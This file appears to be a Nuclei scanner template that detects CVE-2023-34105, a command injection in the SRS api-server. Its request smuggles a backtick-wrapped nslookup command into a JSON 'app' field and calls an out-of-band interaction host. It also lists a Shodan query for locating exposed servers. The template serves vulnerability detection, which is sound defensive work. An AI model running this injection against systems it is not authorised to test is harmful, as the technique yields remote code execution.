id: CVE-2023-34105

info:
  name: SRS - Command Injection
  author: iamnoooob,rootxharsh,pdresearch
  severity: high
  description: |
    SRS's v5.0.137~v5.0.156, v6.0.18~v6.0.47 api-server server is vulnerable to a drive-by command injection.
  reference:
    - https://github.com/ossrs/srs/security/advisories/GHSA-vpr5-779c-cx62
    - https://github.com/ossrs/srs/blob/1d11d02e4b82fc3f37e4b048cff483b1581482c1/trunk/research/api-server/server.go#L761
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H
    cvss-score: 7.5
    cve-id: CVE-2023-34105
    cwe-id: CWE-77,CWE-78
    epss-score: 0.01543
    epss-percentile: 0.8742
    cpe: cpe:2.3:a:ossrs:simple_realtime_server:*:*:*:*:*:*:*:*
  metadata:
    vendor: ossrs
    product: simple_realtime_server
    shodan-query: http.favicon.hash:1386054408
    verified: true
    max-request: 1
  tags: cve,cve2023,srs,rce,oast

http:
  - raw:
      - |
        POST /api/v1/snapshots HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"action":  "on_publish", "app":  "`nslookup {{interactsh-url}}`", "stream":"foo", "vhost": "foo", "client_id":"foo"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "dns"

      - type: word
        part: body
        words:
          - '{"code":'
          - 'data":'
        condition: and

      - type: word
        part: content_type
        words:
          - application/json

      - type: status
        status:
          - 200
# digest: 4b0a00483046022100a6d62092fa1d48165b7217bf1008fda49fbaa5977b3b12f1b186cffef3ca7266022100efa57073b223f125a55a3e8935f63043e48fc6d407f00ea3c2da6cc5e4b0a13b:922c64590222798bb761d5b6d8e72950